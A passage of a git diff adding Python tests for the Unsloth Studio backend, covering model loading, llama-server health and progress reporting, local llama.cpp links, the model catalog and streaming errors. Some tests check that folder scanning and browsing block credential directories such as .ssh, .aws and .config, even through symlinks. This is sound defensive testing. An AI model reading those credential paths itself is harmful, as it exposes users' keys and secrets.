asyncio.run(
inference_route.load_model(
inference_route._load_model_impl(
request,
SimpleNamespace(
app = SimpleNamespace(
@ -899,9 +1080,9 @@ class TestRouteErrors(unittest.TestCase):
with (
patch.object(
inference_route.ModelConfig,
"from_identifier",
return_value = model_config,
inference_route,
"ModelConfig",
SimpleNamespace(from_identifier = lambda **_kwargs: model_config),
),
patch.object(
inference_route,
@ -913,6 +1094,13 @@ class TestRouteErrors(unittest.TestCase):
"get_llama_cpp_backend",
return_value = SimpleNamespace(is_loaded = False),
),
patch.object(
inference_route,
"_guard_chat_load_against_training",
return_value = None,
),
patch.object(inference_route.asyncio, "to_thread", new = _inline_to_thread),
patch.object(inference_route, "_hf_offline_if_dns_dead", nullcontext),
patch(
"core.export.get_export_backend",
return_value = SimpleNamespace(current_checkpoint = None),
@ -920,7 +1108,7 @@ class TestRouteErrors(unittest.TestCase):
):
with self.assertRaises(HTTPException) as exc_info:
asyncio.run(
inference_route.load_model(
inference_route._load_model_impl(
request,
SimpleNamespace(
app = SimpleNamespace(
@ -1102,10 +1290,7 @@ class TestPerGpuFitGuardAllCounts(unittest.TestCase):
cfg._attn_implementation = "eager"
return "eager"
with patch(
"unsloth.models._utils.resolve_attention_implementation",
side_effect = _stub_resolver,
):
with patch.dict(sys.modules, _fake_unsloth_attention_modules(_stub_resolver)):
hardware_module._determine_attention_impl_for_gpu_estimate(config)
self.assertFalse(hasattr(config, "_attn_implementation"))
@ -1133,10 +1318,7 @@ class TestPerGpuFitGuardAllCounts(unittest.TestCase):
with (
patch.object(AutoModelForCausalLM, "_model_mapping", new = None),
patch.object(AutoModel, "_model_mapping", new = None),
patch(
"unsloth.models._utils.resolve_attention_implementation",
side_effect = _stub_resolver,
),
patch.dict(sys.modules, _fake_unsloth_attention_modules(_stub_resolver)),
):
result = hardware_module._determine_attention_impl_for_gpu_estimate(config)
@ -1173,10 +1355,7 @@ class TestPerGpuFitGuardAllCounts(unittest.TestCase):
inner._attn_implementation = "eager"
return "eager"
with patch(
"unsloth.models._utils.resolve_attention_implementation",
side_effect = _stub_resolver,
):
with patch.dict(sys.modules, _fake_unsloth_attention_modules(_stub_resolver)):
hardware_module._determine_attention_impl_for_gpu_estimate(config)
self.assertFalse(hasattr(config, "_attn_implementation"))

287
studio/backend/tests/test_linux_external_media_paths.py Normal file
View file

@ -0,0 +1,287 @@
# SPDX-License-Identifier: AGPL-3.0-only
# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
from __future__ import annotations
import ast
import os
import sys
from pathlib import Path
from types import SimpleNamespace
from typing import Optional
import pytest
from hub.storage import scan_folders
from storage import studio_db
from utils.paths import external_media
_BACKEND_ROOT = Path(__file__).resolve().parent.parent
class _ExistingScanFolderConn:
def __init__(self):
self.params = ()
def execute(
self,
_sql,
params = (),
):
self.params = params
return self
def fetchone(self):
return {"id": 1, "path": self.params[0], "created_at": "fake"}
def commit(self):
pass
def close(self):
pass
class _HTTPException(Exception):
def __init__(self, status_code: int, detail: str):
super().__init__(detail)
self.status_code = status_code
self.detail = detail
def _stub_linux_path_checks(monkeypatch, module):
monkeypatch.setattr(module.platform, "system", lambda: "Linux")
monkeypatch.setattr(module.os.path, "realpath", os.path.normpath)
monkeypatch.setattr(module.os.path, "expanduser", lambda p: p)
monkeypatch.setattr(module.os.path, "exists", lambda _p: True)
monkeypatch.setattr(module.os.path, "isdir", lambda _p: True)
monkeypatch.setattr(module.os, "access", lambda _p, _mode: True)
def _stub_hub_scan_folder_db(monkeypatch):
monkeypatch.setattr(scan_folders, "_ensure_schema", lambda _conn: None)
monkeypatch.setattr(scan_folders, "get_connection", _ExistingScanFolderConn)
def _stub_legacy_scan_folder_db(monkeypatch):
monkeypatch.setattr(studio_db, "get_connection", _ExistingScanFolderConn)
def test_linux_run_media_policy_accepts_mounted_volume_descendants(monkeypatch):
monkeypatch.setattr(external_media.platform, "system", lambda: "Linux")
assert external_media.is_linux_run_media_path("/run/media/dspofu/nvmeB")
assert external_media.is_linux_run_media_path("/run/media/dspofu/nvmeB/modelsAI/gguf/qwen3.6")
@pytest.mark.parametrize(
"path",
[
"/run",
"/run/media",
"/run/media/dspofu",
"/run/user/1000/models",
"/run/systemd/private",
"/run/not-media/dspofu/nvmeB",
],
)
def test_linux_run_media_policy_rejects_unrelated_run_paths(monkeypatch, path):
monkeypatch.setattr(external_media.platform, "system", lambda: "Linux")
assert not external_media.is_linux_run_media_path(path)
def test_linux_run_media_mount_roots_lists_readable_volume_roots(monkeypatch, tmp_path):
base = tmp_path / "run" / "media"
mount = base / "dspofu" / "nvmeB"
sensitive_mount = base / "dspofu" / ".ssh"
sensitive_aws_mount = base / "dspofu" / ".aws"
other_user_mount = base / "other" / "backup"
incomplete = base / "dspofu-only"
mount.mkdir(parents = True)
sensitive_mount.mkdir()
sensitive_aws_mount.mkdir()
other_user_mount.mkdir(parents = True)
incomplete.mkdir()
monkeypatch.setattr(external_media.platform, "system", lambda: "Linux")
roots = external_media.linux_run_media_mount_roots(base, user = "dspofu")
assert roots == [mount.resolve()]
def test_linux_run_media_mount_roots_skips_sensitive_resolved_volume_name(monkeypatch, tmp_path):
base = tmp_path / "run" / "media"
normal_mount = base / "dspofu" / "nvmeB"
sensitive_target = base / "dspofu" / ".config"
normal_mount.mkdir(parents = True)
sensitive_target.mkdir()
alias = base / "dspofu" / "config-alias"
alias.symlink_to(sensitive_target, target_is_directory = True)
monkeypatch.setattr(external_media.platform, "system", lambda: "Linux")
roots = external_media.linux_run_media_mount_roots(base, user = "dspofu")
assert roots == [normal_mount.resolve()]
def test_linux_run_media_mount_roots_skips_sensitive_resolved_descendant(monkeypatch, tmp_path):
base = tmp_path / "run" / "media"
normal_mount = base / "dspofu" / "nvmeB"
sensitive_descendant = normal_mount / ".ssh" / "models"
sensitive_descendant.mkdir(parents = True)
alias = base / "dspofu" / "models-alias"
alias.symlink_to(sensitive_descendant, target_is_directory = True)
monkeypatch.setattr(external_media.platform, "system", lambda: "Linux")
roots = external_media.linux_run_media_mount_roots(base, user = "dspofu")
assert roots == [normal_mount.resolve()]
def test_hub_scan_folder_accepts_linux_run_media_mount(monkeypatch):
_stub_linux_path_checks(monkeypatch, scan_folders)
monkeypatch.setattr(external_media.platform, "system", lambda: "Linux")
_stub_hub_scan_folder_db(monkeypatch)
target = "/run/media/dspofu/nvmeB/modelsAI/gguf/qwen3.6"
row = scan_folders.add_scan_folder(target)
assert row["path"] == target
@pytest.mark.parametrize(
"target",
[
"/run",
"/run/media",
"/run/media/dspofu",
"/run/user/1000/models",
"/run/systemd/private",
"/run/not-media/dspofu/nvmeB",
],
)
def test_hub_scan_folder_keeps_unrelated_run_paths_blocked(monkeypatch, target):
_stub_linux_path_checks(monkeypatch, scan_folders)
monkeypatch.setattr(external_media.platform, "system", lambda: "Linux")
_stub_hub_scan_folder_db(monkeypatch)
with pytest.raises(ValueError, match = "Path under /run is not allowed"):
scan_folders.add_scan_folder(target)
def test_hub_scan_folder_keeps_sensitive_dirs_blocked_under_run_media(monkeypatch):
_stub_linux_path_checks(monkeypatch, scan_folders)
monkeypatch.setattr(external_media.platform, "system", lambda: "Linux")
_stub_hub_scan_folder_db(monkeypatch)
with pytest.raises(ValueError, match = "Credential or configuration"):
scan_folders.add_scan_folder("/run/media/dspofu/nvmeB/.ssh/models")
def test_legacy_scan_folder_accepts_linux_run_media_mount(monkeypatch):
_stub_linux_path_checks(monkeypatch, studio_db)
monkeypatch.setattr(external_media.platform, "system", lambda: "Linux")
_stub_legacy_scan_folder_db(monkeypatch)
target = "/run/media/dspofu/nvmeB/modelsAI/gguf/qwen3.6"
row = studio_db.add_scan_folder(target)
assert row["path"] == target
@pytest.mark.parametrize(
"target",
[
"/run",
"/run/media",
"/run/media/dspofu",
"/run/user/1000/models",
"/run/systemd/private",
"/run/not-media/dspofu/nvmeB",
],
)
def test_legacy_scan_folder_keeps_unrelated_run_paths_blocked(monkeypatch, target):
_stub_linux_path_checks(monkeypatch, studio_db)
monkeypatch.setattr(external_media.platform, "system", lambda: "Linux")
_stub_legacy_scan_folder_db(monkeypatch)
with pytest.raises(ValueError, match = "Path under /run is not allowed"):
studio_db.add_scan_folder(target)
def test_legacy_scan_folder_keeps_sensitive_dirs_blocked_under_run_media(monkeypatch):
_stub_linux_path_checks(monkeypatch, studio_db)
monkeypatch.setattr(external_media.platform, "system", lambda: "Linux")
_stub_legacy_scan_folder_db(monkeypatch)
with pytest.raises(ValueError, match = "Credential or configuration"):
studio_db.add_scan_folder("/run/media/dspofu/nvmeB/.aws/models")
def test_legacy_browse_allowlist_includes_linux_run_media_mounts(monkeypatch, tmp_path):
tree = ast.parse((_BACKEND_ROOT / "routes" / "models.py").read_text(encoding = "utf-8"))
function_names = {
"_build_browse_allowlist",
"_browse_relative_parts",
"_is_path_inside_allowlist",
"_match_browse_child",
"_normalize_browse_request_path",
"_resolve_browse_target",
}
functions = [
node
for node in tree.body
if isinstance(node, ast.FunctionDef) and node.name in function_names
]
module = ast.Module(body = functions, type_ignores = [])
ast.fix_missing_locations(module)
home = tmp_path / "home"
media_root = tmp_path / "run" / "media" / "dspofu" / "nvmeB"
model_dir = media_root / "modelsAI" / "gguf" / "qwen3.6"
home.mkdir()
model_dir.mkdir(parents = True)
(media_root / ".ssh").mkdir()
fake_paths = SimpleNamespace(
hf_default_cache_dir = lambda: tmp_path / "missing-default-hf",
legacy_hf_cache_dir = lambda: tmp_path / "missing-legacy-hf",
well_known_model_dirs = lambda: [],
studio_root = lambda: tmp_path / "missing-studio",
outputs_root = lambda: tmp_path / "missing-outputs",
exports_root = lambda: tmp_path / "missing-exports",
)
fake_external_media = SimpleNamespace(linux_run_media_mount_roots = lambda: [media_root])
fake_studio_db = SimpleNamespace(
list_scan_folders = lambda: [],
contains_sensitive_path_component = studio_db.contains_sensitive_path_component,
)
monkeypatch.setitem(sys.modules, "utils.paths", fake_paths)
monkeypatch.setitem(sys.modules, "utils.paths.external_media", fake_external_media)
monkeypatch.setitem(sys.modules, "storage.studio_db", fake_studio_db)
ns = {
"HTTPException": _HTTPException,
"os": os,
"Path": Path,
"Optional": Optional,
"_safe_is_dir": lambda p: Path(p).is_dir(),
"_resolve_hf_cache_dir": lambda: tmp_path / "missing-hf",
"logger": SimpleNamespace(debug = lambda *_args, **_kwargs: None),
}
exec(compile(module, "<extracted routes/models.py>", "exec"), ns)
allowlist = ns["_build_browse_allowlist"]()
assert media_root.resolve() in allowlist
assert ns["_resolve_browse_target"](str(model_dir), allowlist) == model_dir.resolve()
with pytest.raises(_HTTPException) as exc:
ns["_resolve_browse_target"](str(media_root / ".ssh"), allowlist)
assert exc.value.status_code == 403
ssh_root = media_root / ".ssh"
with pytest.raises(_HTTPException) as exc_root:
ns["_resolve_browse_target"](str(ssh_root), [ssh_root])
assert exc_root.value.status_code == 403

10
studio/backend/tests/test_llama_cpp_start_failure_classification.py
View file

@ -140,6 +140,16 @@ class TestOllamaAndFallback:
msg = _classify("", None, None)
assert "llama-server failed to start" in msg
def test_health_timeout_names_probe_not_generic(self):
# A live server that never returns 200 on /health must name the probe and
# proxy/context causes, not blame a bad GGUF (#5740).
msg = _classify(
"llama-server health check timed out after 600.0s", "/models/x.gguf", "local/x"
)
assert "/health" in msg
assert "NO_PROXY" in msg
assert "GGUF file is valid" not in msg
class TestOsKillReturncode:
"""SIGKILL (-9) with no diagnostic output is the OOM killer and gets a named,

9
studio/backend/tests/test_llama_cpp_wait_for_health.py
View file

@ -67,6 +67,15 @@ class TestWaitForHealthResilience:
monkeypatch.setattr(httpx, "get", lambda *a, **kw: ok_resp)
assert b._wait_for_health(timeout = 1.0, interval = 0.01) is True
def test_timeout_records_marker_for_classification(self, monkeypatch):
"""A live-but-never-healthy server leaves a marker so the failure is
classified as a /health timeout, not a bad GGUF (#5740)."""
b = _make_backend()
b._process.poll.return_value = None
monkeypatch.setattr(httpx, "get", lambda *a, **kw: mock.Mock(status_code = 503))
assert b._wait_for_health(timeout = 0.02, interval = 0.01) is False
assert any("health check timed out" in ln for ln in b._stdout_lines)
def test_read_error_loops_to_subprocess_poll(self, monkeypatch):
"""WinError 10054 (httpx.ReadError) must be swallowed; the next iteration sees the dead subprocess and returns False with a structured exit-code log."""
b = _make_backend()

166
studio/backend/tests/test_load_progress_ready_fraction.py Normal file
View file

@ -0,0 +1,166 @@
# SPDX-License-Identifier: AGPL-3.0-only
# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
"""load_progress() must report a complete load once llama-server is healthy.
With layers offloaded to VRAM (-ngl) the server releases the mmap'd weight pages
after upload, so its VmRSS sinks back well below the shard total. The raw RSS
fraction would then sit at a partial (~8%) value forever and freeze a
fraction-driven progress bar even though the model is ready -- the "stuck around
8% on the second pass" symptom in #5740. In the ready phase the fraction must be
1.0 regardless of resident set size.
"""
from __future__ import annotations
import io
import sys
import types
from pathlib import Path
from unittest.mock import patch
import pytest
# Stub heavy/unavailable deps before importing the module under test, so a
# targeted run in the lightweight backend env (no structlog/httpx) still
# collects. setdefault keeps the real modules when they are installed. Mirrors
# test_llama_cpp_load_progress_matrix.py.
_BACKEND_DIR = str(Path(__file__).resolve().parent.parent)
if _BACKEND_DIR not in sys.path:
sys.path.insert(0, _BACKEND_DIR)
_loggers_stub = types.ModuleType("loggers")
_loggers_stub.get_logger = lambda name: __import__("logging").getLogger(name)
sys.modules.setdefault("loggers", _loggers_stub)
sys.modules.setdefault("structlog", types.ModuleType("structlog"))
_httpx_stub = types.ModuleType("httpx")
for _exc_name in (
"ConnectError",
"TimeoutException",
"ReadTimeout",
"ReadError",
"RemoteProtocolError",
"CloseError",
):
setattr(_httpx_stub, _exc_name, type(_exc_name, (Exception,), {}))
class _FakeTimeout:
def __init__(self, *a, **kw):
pass
_httpx_stub.Timeout = _FakeTimeout
_httpx_stub.Client = type(
"Client",
(),
{
"__init__": lambda self, **kw: None,
"__enter__": lambda self: self,
"__exit__": lambda self, *a: None,
},
)
sys.modules.setdefault("httpx", _httpx_stub)
from core.inference.llama_cpp import LlamaCppBackend # noqa: E402
def _backend(
gguf_path,
*,
healthy,
pid = 4321,
):
# Bare instance: exercise load_progress() without the heavy real __init__.
be = object.__new__(LlamaCppBackend)
be._process = types.SimpleNamespace(pid = pid)
be._gguf_path = str(gguf_path)
be._healthy = healthy
return be
def _gguf(tmp_path, size_bytes):
f = tmp_path / "model-Q4_K_M.gguf"
f.write_bytes(b"\0" * size_bytes)
return f
def test_ready_reports_complete_despite_low_rss(tmp_path, monkeypatch):
# Healthy, but VmRSS has dropped to ~8% of the shard total after VRAM upload.
monkeypatch.setattr(LlamaCppBackend, "_read_rss_bytes", staticmethod(lambda pid: 800))
be = _backend(_gguf(tmp_path, 10000), healthy = True)
p = be.load_progress()
assert p["phase"] == "ready"
assert p["fraction"] == 1.0 # not 0.08
assert p["bytes_loaded"] == p["bytes_total"] == 10000
def test_mmap_phase_reports_raw_rss_fraction(tmp_path, monkeypatch):
# Still loading: the bar should track real residency, not jump to 1.0.
monkeypatch.setattr(LlamaCppBackend, "_read_rss_bytes", staticmethod(lambda pid: 800))
be = _backend(_gguf(tmp_path, 10000), healthy = False)
p = be.load_progress()
assert p["phase"] == "mmap"
assert p["fraction"] == 0.08
assert p["bytes_loaded"] == 800
assert p["bytes_total"] == 10000
def test_progress_fraction_is_monotonic(tmp_path, monkeypatch):
# RSS peaks during page-in, then drops after -ngl offload; the bar must hold
# its high-water mark instead of collapsing back to ~8% (#5740).
be = _backend(_gguf(tmp_path, 10000), healthy = False)
monkeypatch.setattr(LlamaCppBackend, "_read_rss_bytes", staticmethod(lambda pid: 9000))
assert be.load_progress()["fraction"] == 0.9
monkeypatch.setattr(LlamaCppBackend, "_read_rss_bytes", staticmethod(lambda pid: 800))
p = be.load_progress()
assert p["fraction"] == 0.9
assert p["bytes_loaded"] == 9000
def test_ready_without_shard_size_still_completes(tmp_path, monkeypatch):
# bytes_total unknown (file unstattable): fraction must still read complete.
monkeypatch.setattr(LlamaCppBackend, "_read_rss_bytes", staticmethod(lambda pid: 800))
be = _backend(tmp_path / "missing.gguf", healthy = True)
p = be.load_progress()
assert p["phase"] == "ready"
assert p["fraction"] == 1.0
assert p["bytes_total"] == 0
def test_none_when_no_process(tmp_path):
be = _backend(_gguf(tmp_path, 10000), healthy = True)
be._process = None
assert be.load_progress() is None
def test_none_when_rss_unreadable(tmp_path, monkeypatch):
# /proc unavailable (macOS/Windows) or unreadable -> no progress payload.
monkeypatch.setattr(LlamaCppBackend, "_read_rss_bytes", staticmethod(lambda pid: None))
be = _backend(_gguf(tmp_path, 10000), healthy = False)
assert be.load_progress() is None
def test_read_rss_bytes_absent_pid_is_none():
# A pid with no readable /proc entry (or no /proc at all) yields None, never
# raises.
assert LlamaCppBackend._read_rss_bytes(2**31 - 1) is None
def test_read_rss_bytes_valueless_line_is_none():
# A "VmRSS:" line with no value column must not raise (IndexError) -> None.
def fake_open(path, *a, **kw):
if str(path).startswith("/proc/"):
return io.StringIO("Name:\ttest\nVmRSS:\n")
return open(path, *a, **kw)
with patch("builtins.open", side_effect = fake_open):
assert LlamaCppBackend._read_rss_bytes(4321) is None
@pytest.mark.skipif(not sys.platform.startswith("linux"), reason = "/proc is Linux-only")
def test_read_rss_bytes_reads_self_on_linux():
rss = LlamaCppBackend._read_rss_bytes(__import__("os").getpid())
assert isinstance(rss, int) and rss > 0

137
studio/backend/tests/test_local_llama_cpp_link.py Normal file
View file

@ -0,0 +1,137 @@
# SPDX-License-Identifier: AGPL-3.0-only
# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
"""Behavioral tests for the --with-llama-cpp-dir 'unmanaged local link' contract.
When the canonical llama.cpp dir is a symlink (POSIX) / junction (Windows) to a
user's own checkout, Studio must treat it as externally managed:
- the in-app updater must not offer or apply a prebuilt over the link
- orphan cleanup must not kill a llama-server the user launched from that tree
These exercise real link behavior rather than grepping the scripts.
"""
import os
import subprocess
from pathlib import Path
import pytest
from utils import llama_cpp_update as u
from core.inference.llama_cpp import LlamaCppBackend
def _make_link(link: Path, target: Path) -> None:
"""Create a directory junction (Windows) / symlink (POSIX); neither needs
elevation."""
target.mkdir(parents = True, exist_ok = True)
if os.name == "nt":
subprocess.run(
["cmd", "/c", "mklink", "/J", str(link), str(target)],
check = True,
capture_output = True,
text = True,
)
else:
link.symlink_to(target, target_is_directory = True)
def _server_subpath() -> Path:
return Path(
"build/bin/Release/llama-server.exe" if os.name == "nt" else "build/bin/llama-server"
)
class _FakeProc:
def __init__(self, pid: int, exe: str) -> None:
self.info = {"pid": pid, "name": "llama-server", "exe": exe}
self.killed = False
def kill(self) -> None:
self.killed = True
def test_is_external_link_detects_link_vs_plain_dir(tmp_path: Path) -> None:
plain = tmp_path / "plain"
plain.mkdir()
assert u._is_external_link(plain) is False
link = tmp_path / "link"
_make_link(link, tmp_path / "tgt")
assert u._is_external_link(link) is True
def test_active_install_is_local_link(tmp_path: Path) -> None:
link = tmp_path / "llama.cpp"
_make_link(link, tmp_path / "tgt")
binary = str(link / _server_subpath())
assert u._active_install_is_local_link(binary) is True
# A plain (non-link) llama.cpp dir is Studio-managed, not a local link.
plain = tmp_path / "plain" / "llama.cpp"
plain.mkdir(parents = True)
assert u._active_install_is_local_link(str(plain / _server_subpath())) is False
def test_get_update_status_reports_local_link(tmp_path: Path, monkeypatch) -> None:
link = tmp_path / "llama.cpp"
_make_link(link, tmp_path / "tgt")
monkeypatch.setattr(u, "_find_binary", lambda: str(link / _server_subpath()))
st = u.get_update_status()
assert st["supported"] is False
assert st["update_available"] is False
assert st["local_link"] is True
def test_start_update_refuses_local_link(tmp_path: Path, monkeypatch) -> None:
link = tmp_path / "llama.cpp"
_make_link(link, tmp_path / "tgt")
monkeypatch.setattr(u, "_find_binary", lambda: str(link / _server_subpath()))
res = u.start_update()
assert res["started"] is False
assert res["reason"] == "local_link"
def _run_orphan_scan(monkeypatch, studio_root: Path, fake: _FakeProc) -> int:
# psutil drives the cross-platform process scan; skip (rather than error) if a
# minimal test env lacks it. CI installs it so these tests actually run.
psutil = pytest.importorskip("psutil")
monkeypatch.setattr(
LlamaCppBackend,
"_resolved_studio_root_and_is_legacy",
staticmethod(lambda: (studio_root.resolve(), False)),
)
monkeypatch.setattr(LlamaCppBackend, "_reap_recorded_pid", staticmethod(lambda: 0))
monkeypatch.setattr(psutil, "process_iter", lambda attrs = None: iter([fake]))
return LlamaCppBackend._kill_orphaned_servers()
def test_orphan_cleanup_spares_local_link_tree(tmp_path: Path, monkeypatch) -> None:
studio_root = tmp_path / "studio-home"
studio_root.mkdir()
external = tmp_path / "external"
(external / _server_subpath().parent).mkdir(parents = True)
(external / _server_subpath()).write_text("x")
_make_link(studio_root / "llama.cpp", external)
exe_under_link = str((external / _server_subpath()).resolve())
fake = _FakeProc(os.getpid() + 777, exe_under_link)
killed = _run_orphan_scan(monkeypatch, studio_root, fake)
assert killed == 0
assert fake.killed is False
def test_orphan_cleanup_kills_under_real_root(tmp_path: Path, monkeypatch) -> None:
# Control: a real (non-link) managed root still gets its orphan reaped, so
# the spare-the-link test above is meaningful (not a no-op).
studio_root = tmp_path / "studio-home"
bin_dir = studio_root / "llama.cpp" / _server_subpath().parent
bin_dir.mkdir(parents = True)
exe = studio_root / "llama.cpp" / _server_subpath()
exe.write_text("x")
fake = _FakeProc(os.getpid() + 888, str(exe.resolve()))
killed = _run_orphan_scan(monkeypatch, studio_root, fake)
assert killed == 1
assert fake.killed is True

2
studio/backend/tests/test_mlx_training_worker_config.py
View file

@ -76,7 +76,7 @@ def test_mlx_studio_optimizer_aliases_are_explicit():
def test_mlx_studio_rejects_unknown_optimizer():
with pytest.raises(ValueError, match = "Unsupported optimizer for MLX training"):
with pytest.raises(ValueError, match = "Supported"):
_normalize_mlx_studio_optimizer("adamw_typo")

3039
studio/backend/tests/test_openai_auto_switch.py Normal file
View file

File diff suppressed because it is too large Load diff

30
studio/backend/tests/test_openai_catalog.py
View file

@ -13,6 +13,7 @@ if str(_BACKEND) not in sys.path:
sys.path.insert(0, str(_BACKEND))
import routes.inference as inf # noqa: E402
from core.inference import local_model_resolver as resolver # noqa: E402
class _Info:
@ -21,10 +22,12 @@ class _Info:
id,
display_name,
model_id = None,
is_gguf = True,
):
self.id = id
self.display_name = display_name
self.model_id = model_id
self.is_gguf = is_gguf # drives the files-based GGUF check in the test
class _FakeLlama:
@ -53,10 +56,16 @@ def test_catalog_lists_loaded_and_available(monkeypatch):
return [
_Info("/data/models/Qwen3-Q4.gguf", "Qwen3-Q4"), # same as loaded -> dedup
_Info("/data/models/Llama-8B-Q8.gguf", "Llama-8B-Q8"), # available, not loaded
_Info("models--org--Foo", "Foo", model_id = "org/Foo"), # hf cache repo id
# HF-cache GGUF: model_format is unset for these, so a files-based check
# (not model_format) must still list it.
_Info("models--org--Foo", "Foo", model_id = "org/Foo"),
# Non-GGUF (safetensors) can't be served via /v1: must NOT be advertised.
_Info("/data/models/Mistral-7B", "Mistral-7B", is_gguf = False),
]
monkeypatch.setattr(inf, "_cached_local_catalog", _fake_catalog)
# GGUF-ness is read from the on-disk files; drive it off each info's flag here.
monkeypatch.setattr(resolver, "info_has_local_gguf", lambda info: info.is_gguf)
data = asyncio.run(inf._openai_catalog_objects())
ids = {m["id"]: m for m in data}
@ -64,9 +73,12 @@ def test_catalog_lists_loaded_and_available(monkeypatch):
# Loaded model is present, marked loaded, and keeps context fields.
assert ids["Qwen3-Q4"]["loaded"] is True
assert ids["Qwen3-Q4"]["context_length"] == 4096
# Available-but-not-loaded models are listed too.
# Available-but-not-loaded GGUF models are listed too.
assert ids["Llama-8B-Q8"]["loaded"] is False
# The HF-cache GGUF is listed despite model_format being unset.
assert ids["org/Foo"]["loaded"] is False
# The non-GGUF model is filtered out (/v1 can never serve it).
assert "Mistral-7B" not in ids
# The loaded gguf and the on-disk copy collapse to one clean id.
assert [m["id"] for m in data].count("Qwen3-Q4") == 1
# No absolute paths or .gguf suffixes leak anywhere.
@ -76,6 +88,20 @@ def test_catalog_lists_loaded_and_available(monkeypatch):
assert "/data/" not in blob
def test_catalog_lock_is_per_loop():
# Codex P2: a module-level asyncio.Lock ties its waiters to the loop that first
# awaited it, so a second event loop awaiting it in a multi-loop process can
# hang. The catalog lock must be per-loop (distinct lock per running loop), and
# the old shared _CATALOG_LOCK must be gone so it can't be reintroduced.
async def _get():
return inf._catalog_lock()
a = asyncio.run(_get())
b = asyncio.run(_get()) # a fresh event loop
assert a is not b
assert not hasattr(inf, "_CATALOG_LOCK")
def test_empty_and_errored_scans_are_cached(monkeypatch):
# Cache validity is keyed on the timestamp, not list contents, so an empty
# (fresh install / no local models) or errored scan is still cached for the

574
studio/backend/tests/test_openai_tool_passthrough.py
View file

@ -40,6 +40,7 @@ from routes.inference import (
_effective_max_tokens,
_extract_content_parts,
_friendly_error,
_friendly_upstream_error,
_merge_user_content,
_monitor_openai_chunk,
_monitor_openai_sse_event,
@ -57,6 +58,32 @@ from routes.inference import (
from state.tool_policy import reset_tool_policy
class TestFriendlyUpstreamError:
def test_grammar_parse_failure_gets_actionable_message(self):
raw = '{"error":{"code":400,"message":"Failed to initialize samplers: failed to parse grammar","type":"invalid_request_error"}}'
msg = _friendly_upstream_error(raw)
assert "failed to parse grammar" not in msg # raw body is not surfaced verbatim
assert "tool-calling grammar" in msg and "Update Studio" in msg
def test_failed_to_initialize_samplers_alone_matches(self):
assert "tool-calling grammar" in _friendly_upstream_error("Failed to initialize samplers")
def test_unrelated_error_passes_through(self):
assert _friendly_upstream_error("out of memory") == "llama-server error: out of memory"
def test_openai_passthrough_error_rewrites_grammar_failure(self):
# OpenAI-compatible agents (opencode/openclaw/hermes/pi via /v1/chat/completions)
# get the same actionable message as the Anthropic passthrough, not the raw body.
from routes.inference import _openai_passthrough_error
exc = _openai_passthrough_error(
400, '{"error":{"message":"Failed to initialize samplers: failed to parse grammar"}}'
)
assert "tool-calling grammar" in exc.detail
# An unrelated upstream error still passes through verbatim.
assert "llama-server error:" in _openai_passthrough_error(500, "disk full").detail
# =====================================================================
# ChatMessage — tool role, tool_calls, optional content
# =====================================================================
@ -1829,6 +1856,553 @@ class TestApiMonitorProviderAndCompletionStreams:
chunks = [chunk async for chunk in response.body_iterator]
return SimpleNamespace(chunks = chunks, body = "".join(chunks), monitor = monitor)
def test_passthrough_stream_preheader_dispatched_with_timeout(self, monkeypatch):
async def _run():
import routes.inference as inf_mod
gate = asyncio.Event()
async def fake_send(*_args, **_kwargs):
await gate.wait()
return httpx.Response(200, content = b"")
class Request:
async def is_disconnected(self):
return False
monitor = ApiMonitor(max_entries = 3)
monitor_id = monitor.start(
endpoint = "/v1/chat/completions",
method = "POST",
model = "gguf",
prompt = "hi",
)
monkeypatch.setattr(inf_mod, "api_monitor", monitor)
monkeypatch.setattr(inf_mod, "_send_stream_with_preheader_cancel", fake_send)
payload = ChatCompletionRequest(
model = "default",
messages = [ChatMessage(role = "user", content = "hi")],
stream = True,
)
response = await asyncio.wait_for(
_openai_passthrough_stream(
Request(),
threading.Event(),
SimpleNamespace(
base_url = "http://llama.test",
context_length = 4096,
_request_reasoning_kwargs = lambda *_args, **_kwargs: None,
),
payload,
"chatcmpl-test",
"chatcmpl-test",
monitor_id = monitor_id,
),
timeout = 0.2,
)
assert isinstance(response, _SameTaskStreamingResponse)
gate.set()
chunks = [
chunk.decode() if isinstance(chunk, bytes) else chunk
async for chunk in response.body_iterator
]
assert "data: [DONE]\n\n" in "".join(chunks)
asyncio.run(_run())
def test_passthrough_stream_preheader_non_200_in_window(self, monkeypatch):
async def _run():
import routes.inference as inf_mod
async def fake_send(*_args, **_kwargs):
return httpx.Response(400, content = b'{"error":"bad"}')
class Request:
async def is_disconnected(self):
return False
monitor = ApiMonitor(max_entries = 3)
monitor_id = monitor.start(
endpoint = "/v1/chat/completions",
method = "POST",
model = "gguf",
prompt = "hi",
)
monkeypatch.setattr(inf_mod, "api_monitor", monitor)
monkeypatch.setattr(inf_mod, "_send_stream_with_preheader_cancel", fake_send)
payload = ChatCompletionRequest(
model = "default",
messages = [ChatMessage(role = "user", content = "hi")],
stream = True,
)
with pytest.raises(HTTPException) as exc:
await _openai_passthrough_stream(
Request(),
threading.Event(),
SimpleNamespace(
base_url = "http://llama.test",
context_length = 4096,
_request_reasoning_kwargs = lambda *_args, **_kwargs: None,
),
payload,
"chatcmpl-test",
"chatcmpl-test",
monitor_id = monitor_id,
)
assert exc.value.status_code == 400
asyncio.run(_run())
def test_passthrough_stream_preheader_request_error_in_window(self, monkeypatch):
async def _run():
import routes.inference as inf_mod
async def fake_send(*_args, **_kwargs):
raise httpx.ConnectError("connectivity issue")
class Request:
async def is_disconnected(self):
return False
monitor = ApiMonitor(max_entries = 3)
monitor_id = monitor.start(
endpoint = "/v1/chat/completions",
method = "POST",
model = "gguf",
prompt = "hi",
)
monkeypatch.setattr(inf_mod, "api_monitor", monitor)
monkeypatch.setattr(inf_mod, "_send_stream_with_preheader_cancel", fake_send)
payload = ChatCompletionRequest(
model = "default",
messages = [ChatMessage(role = "user", content = "hi")],
stream = True,
)
with pytest.raises(HTTPException) as exc:
await _openai_passthrough_stream(
Request(),
threading.Event(),
SimpleNamespace(
base_url = "http://llama.test",
context_length = 4096,
_request_reasoning_kwargs = lambda *_args, **_kwargs: None,
),
payload,
"chatcmpl-test",
"chatcmpl-test",
monitor_id = monitor_id,
)
assert exc.value.status_code == 502
asyncio.run(_run())
def test_passthrough_stream_preheader_delayed_non_200_returns_sse_error(self, monkeypatch):
async def _run():
import routes.inference as inf_mod
gate = asyncio.Event()
